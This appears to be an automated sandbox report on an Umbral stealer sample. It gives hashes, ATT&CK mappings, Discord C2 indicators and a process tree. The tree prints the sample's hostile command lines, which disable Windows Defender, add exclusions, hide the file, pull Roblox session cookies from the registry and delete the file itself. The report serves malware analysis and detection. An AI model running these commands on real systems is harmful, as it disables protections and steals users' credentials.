umbral | c6e3deb37384306e5bc08d51469e978c001ee54cf0ad8baa59942eda2c849b6b

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
02-02-2025 19:32

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General

Target

sws.exe
Size

227KB
MD5

46fb05503b2ba89656a6b2f95e5572ad
SHA1

01dac03ded08fc26c42fd88c77090aa6f4cea70e
SHA256

c6e3deb37384306e5bc08d51469e978c001ee54cf0ad8baa59942eda2c849b6b
SHA512

7bf112ab9a4df51776c75bd933af3400ec909473389238e13797b61e055236cfacc02d06558061c03a542c3fda0d1575b19646029a2b09c9e45119bf699934a0
SSDEEP

6144:eloZM+rIkd8g+EtXHkv/iD43tny5nsAvpOXZkQlK8Zb8e1m8hEi:IoZtL+EP83tny5nsAvpOXZkQlr9

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2844-1-0x0000000001200000-0x0000000001240000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2812	powershell.exe
2376	powershell.exe
1456	powershell.exe
816	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	sws.exe

Deletes itself 1 IoCs

pid	Process
2244	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2244	cmd.exe
2148	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1816	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2148	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2844	sws.exe
2812	powershell.exe
816	powershell.exe
2376	powershell.exe
3056	powershell.exe
1456	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2844	sws.exe
Token: SeIncreaseQuotaPrivilege	3068	wmic.exe
Token: SeSecurityPrivilege	3068	wmic.exe
Token: SeTakeOwnershipPrivilege	3068	wmic.exe
Token: SeLoadDriverPrivilege	3068	wmic.exe
Token: SeSystemProfilePrivilege	3068	wmic.exe
Token: SeSystemtimePrivilege	3068	wmic.exe
Token: SeProfSingleProcessPrivilege	3068	wmic.exe
Token: SeIncBasePriorityPrivilege	3068	wmic.exe
Token: SeCreatePagefilePrivilege	3068	wmic.exe
Token: SeBackupPrivilege	3068	wmic.exe
Token: SeRestorePrivilege	3068	wmic.exe
Token: SeShutdownPrivilege	3068	wmic.exe
Token: SeDebugPrivilege	3068	wmic.exe
Token: SeSystemEnvironmentPrivilege	3068	wmic.exe
Token: SeRemoteShutdownPrivilege	3068	wmic.exe
Token: SeUndockPrivilege	3068	wmic.exe
Token: SeManageVolumePrivilege	3068	wmic.exe
Token: 33	3068	wmic.exe
Token: 34	3068	wmic.exe
Token: 35	3068	wmic.exe
Token: SeIncreaseQuotaPrivilege	3068	wmic.exe
Token: SeSecurityPrivilege	3068	wmic.exe
Token: SeTakeOwnershipPrivilege	3068	wmic.exe
Token: SeLoadDriverPrivilege	3068	wmic.exe
Token: SeSystemProfilePrivilege	3068	wmic.exe
Token: SeSystemtimePrivilege	3068	wmic.exe
Token: SeProfSingleProcessPrivilege	3068	wmic.exe
Token: SeIncBasePriorityPrivilege	3068	wmic.exe
Token: SeCreatePagefilePrivilege	3068	wmic.exe
Token: SeBackupPrivilege	3068	wmic.exe
Token: SeRestorePrivilege	3068	wmic.exe
Token: SeShutdownPrivilege	3068	wmic.exe
Token: SeDebugPrivilege	3068	wmic.exe
Token: SeSystemEnvironmentPrivilege	3068	wmic.exe
Token: SeRemoteShutdownPrivilege	3068	wmic.exe
Token: SeUndockPrivilege	3068	wmic.exe
Token: SeManageVolumePrivilege	3068	wmic.exe
Token: 33	3068	wmic.exe
Token: 34	3068	wmic.exe
Token: 35	3068	wmic.exe
Token: SeDebugPrivilege	2812	powershell.exe
Token: SeDebugPrivilege	816	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeIncreaseQuotaPrivilege	2544	wmic.exe
Token: SeSecurityPrivilege	2544	wmic.exe
Token: SeTakeOwnershipPrivilege	2544	wmic.exe
Token: SeLoadDriverPrivilege	2544	wmic.exe
Token: SeSystemProfilePrivilege	2544	wmic.exe
Token: SeSystemtimePrivilege	2544	wmic.exe
Token: SeProfSingleProcessPrivilege	2544	wmic.exe
Token: SeIncBasePriorityPrivilege	2544	wmic.exe
Token: SeCreatePagefilePrivilege	2544	wmic.exe
Token: SeBackupPrivilege	2544	wmic.exe
Token: SeRestorePrivilege	2544	wmic.exe
Token: SeShutdownPrivilege	2544	wmic.exe
Token: SeDebugPrivilege	2544	wmic.exe
Token: SeSystemEnvironmentPrivilege	2544	wmic.exe
Token: SeRemoteShutdownPrivilege	2544	wmic.exe
Token: SeUndockPrivilege	2544	wmic.exe
Token: SeManageVolumePrivilege	2544	wmic.exe
Token: 33	2544	wmic.exe
Token: 34	2544	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2844 wrote to memory of 3068	2844	sws.exe	30
PID 2844 wrote to memory of 3068	2844	sws.exe	30
PID 2844 wrote to memory of 3068	2844	sws.exe	30
PID 2844 wrote to memory of 2724	2844	sws.exe	33
PID 2844 wrote to memory of 2724	2844	sws.exe	33
PID 2844 wrote to memory of 2724	2844	sws.exe	33
PID 2844 wrote to memory of 2812	2844	sws.exe	35
PID 2844 wrote to memory of 2812	2844	sws.exe	35
PID 2844 wrote to memory of 2812	2844	sws.exe	35
PID 2844 wrote to memory of 816	2844	sws.exe	37
PID 2844 wrote to memory of 816	2844	sws.exe	37
PID 2844 wrote to memory of 816	2844	sws.exe	37
PID 2844 wrote to memory of 2376	2844	sws.exe	39
PID 2844 wrote to memory of 2376	2844	sws.exe	39
PID 2844 wrote to memory of 2376	2844	sws.exe	39
PID 2844 wrote to memory of 3056	2844	sws.exe	41
PID 2844 wrote to memory of 3056	2844	sws.exe	41
PID 2844 wrote to memory of 3056	2844	sws.exe	41
PID 2844 wrote to memory of 2544	2844	sws.exe	43
PID 2844 wrote to memory of 2544	2844	sws.exe	43
PID 2844 wrote to memory of 2544	2844	sws.exe	43
PID 2844 wrote to memory of 2636	2844	sws.exe	45
PID 2844 wrote to memory of 2636	2844	sws.exe	45
PID 2844 wrote to memory of 2636	2844	sws.exe	45
PID 2844 wrote to memory of 3044	2844	sws.exe	47
PID 2844 wrote to memory of 3044	2844	sws.exe	47
PID 2844 wrote to memory of 3044	2844	sws.exe	47
PID 2844 wrote to memory of 1456	2844	sws.exe	49
PID 2844 wrote to memory of 1456	2844	sws.exe	49
PID 2844 wrote to memory of 1456	2844	sws.exe	49
PID 2844 wrote to memory of 1816	2844	sws.exe	51
PID 2844 wrote to memory of 1816	2844	sws.exe	51
PID 2844 wrote to memory of 1816	2844	sws.exe	51
PID 2844 wrote to memory of 2244	2844	sws.exe	53
PID 2844 wrote to memory of 2244	2844	sws.exe	53
PID 2844 wrote to memory of 2244	2844	sws.exe	53
PID 2244 wrote to memory of 2148	2244	cmd.exe	55
PID 2244 wrote to memory of 2148	2244	cmd.exe	55
PID 2244 wrote to memory of 2148	2244	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2724	attrib.exe

C:\Users\Admin\AppData\Local\Temp\sws.exe
"C:\Users\Admin\AppData\Local\Temp\sws.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2844
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3068
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\sws.exe"
  2⤵
  - Views/modifies file attributes
  PID:2724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sws.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3056
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2544
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2636
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1456
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1816
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\sws.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2244
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
bb5250cfb1ef72211dd22a65761a8ea5

SHA1
ae76c57ff393080f5120c149237f28e1ac3d9211

SHA256
95fa591334ccadb891bcd9d079c6fe607b151d59c725ba3a51f7b1bcf7599eff

SHA512
540751538b2b56fdcd2569f174f937b55d04c8c66d36b197e94023a86830971fde4490641105effd9b9ae6ead270f361650d2ddabdec1f5a7449a5be3df97b5f

Download Submit
memory/816-14-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/816-15-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/1456-44-0x0000000001D70000-0x0000000001D78000-memory.dmp

Filesize
32KB

Download
memory/2812-7-0x000000001B4A0000-0x000000001B782000-memory.dmp

Filesize
2.9MB

Download
memory/2812-8-0x00000000029A0000-0x00000000029A8000-memory.dmp

Filesize
32KB

Download
memory/2844-0-0x000007FEF5063000-0x000007FEF5064000-memory.dmp

Filesize
4KB

Download
memory/2844-1-0x0000000001200000-0x0000000001240000-memory.dmp

Filesize
256KB

Download
memory/2844-2-0x000007FEF5060000-0x000007FEF5A4C000-memory.dmp

Filesize
9.9MB

Download
memory/2844-49-0x000007FEF5060000-0x000007FEF5A4C000-memory.dmp

Filesize
9.9MB

Download